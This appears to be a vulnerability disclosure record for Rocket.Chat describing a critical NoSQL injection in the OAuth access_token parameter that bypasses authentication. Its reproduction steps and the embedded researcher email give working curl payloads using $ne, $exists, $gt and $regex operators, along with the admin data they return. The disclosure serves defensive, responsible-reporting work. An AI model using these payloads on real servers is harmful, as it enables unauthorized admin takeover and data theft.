{
  "ant_id": "ANT-2026-GEM3N3N3",
  "bug_class": "NoSQL Injection",
  "claude_severity": "critical",
  "commit_sha": null,
  "created_at": "2026-05-14T22:41:26+00:00",
  "description": "On Rocket.Chat instances with an OAuth provider configured, the REST API authenticates requests by looking up the `access_token` query parameter against stored OAuth tokens. The parameter is not validated as a string before being used in the MongoDB query, so an attacker can supply an object such as `access_token[$ne]=null` via querystring bracket notation. This causes the token lookup to match the first stored OAuth token, which is typically the admin user's. A single unauthenticated HTTP request therefore yields full admin API access, including user enumeration, server statistics, and room administration. Variants using `$exists`, `$gt`, and `$regex` all succeed identically.",
  "discovered_at": "2026-02-20T02:46:30+00:00",
  "location": null,
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "RocketChat/Rocket.Chat",
  "reproduction": [
    "1. Identify a Rocket.Chat server with OAuth login enabled.",
    "2. Issue `curl --globoff 'https://target/api/v1/me?access_token[$ne]=null'`.",
    "3. Server matches the first stored OAuth token and returns the admin profile.",
    "4. Reuse the same parameter on any authenticated/admin endpoint (e.g. `/api/v1/users.list`, `/api/v1/rooms.adminRooms`) for full admin API control.",
    "5. Optionally use `access_token[$regex]=...` to target specific users."
  ],
  "technical_details": "Hi --\n\nI am a security researcher at Anthropic. I've been using LLMs to find\n\nvulnerabilities in projects, and one of those has been Rocket.Chat. I\n\nbelieve I've found an extremely severe vulnerability: on any\n\nRocket.Chat instance with a linked OAuth endpoint, an adversary can\n\ncompletely bypass all authentication and become an Admin with a single\n\nrequest. While I used an LLM to find this bug I've validated it\n\npersonally and wrote this email myself.\n\nSpecifically, by passing a NoSQL operator as the `access_token` query\n\nparameter (e.g. `?access_token[$ne]=null`), an attacker can gain full\n\naccess as whichever user owns the first matched OAuth token, typically\n\nan admin. (You could also try regexes to find random user accounts if\n\nthe admin isn't the first, but it looks like it always should be the\n\nadmin by reading the code.)\n\nValidating the attack should be trivial:\n\n```\n\n# No auth — correctly rejected\n\ncurl http://localhost:3000/api/v1/me\n\n# {\"success\":false,\"error\":\"You must be logged in to do this.\"}\n\n# NoSQL injection — authentication bypassed\n\ncurl --globoff 'http://localhost:3000/api/v1/me?access_token[$ne]=null'\n\n# {\"_id\":\"...\",\"username\":\"admin\",\"roles\":[\"admin\"],...,\"success\":true}\n\n# Admin-only endpoints — all accessible\n\ncurl --globoff 'http://localhost:3000/api/v1/users.list?access_token[$ne]=null'\n\n# {\"users\":[{\"username\":\"admin\",\"roles\":[\"admin\"]},...],\"success\":true}\n\ncurl --globoff 'http://localhost:3000/api/v1/statistics?access_token[$ne]=null'\n\n# {\"version\":\"8.1.0\",\"os\":{\"platform\":\"linux\"},...}\n\ncurl --globoff 'http://localhost:3000/api/v1/rooms.adminRooms?access_token[$ne]=null'\n\n# {\"rooms\":[{\"_id\":\"GENERAL\",\"name\":\"general\",...}],...}\n\n# Variant operators — all bypass authentication\n\ncurl --globoff 'http://localhost:3000/api/v1/me?access_token[$exists]=true'\n\ncurl --globoff 'http://localhost:3000/api/v1/me?access_token[$gt]='\n\ncurl --globoff 'http://localhost:3000/api/v1/me?access_token[$regex]=.*'\n\n# All return 200 OK with admin profile\n\n```\n\nPlease let me know if you have any other questions\n\nThanks,\n\nNicholas",
  "title": "Critical vulnerability (cvss 9.8): complete authentication bypass to admin permissions",
  "vendor_severity": null
}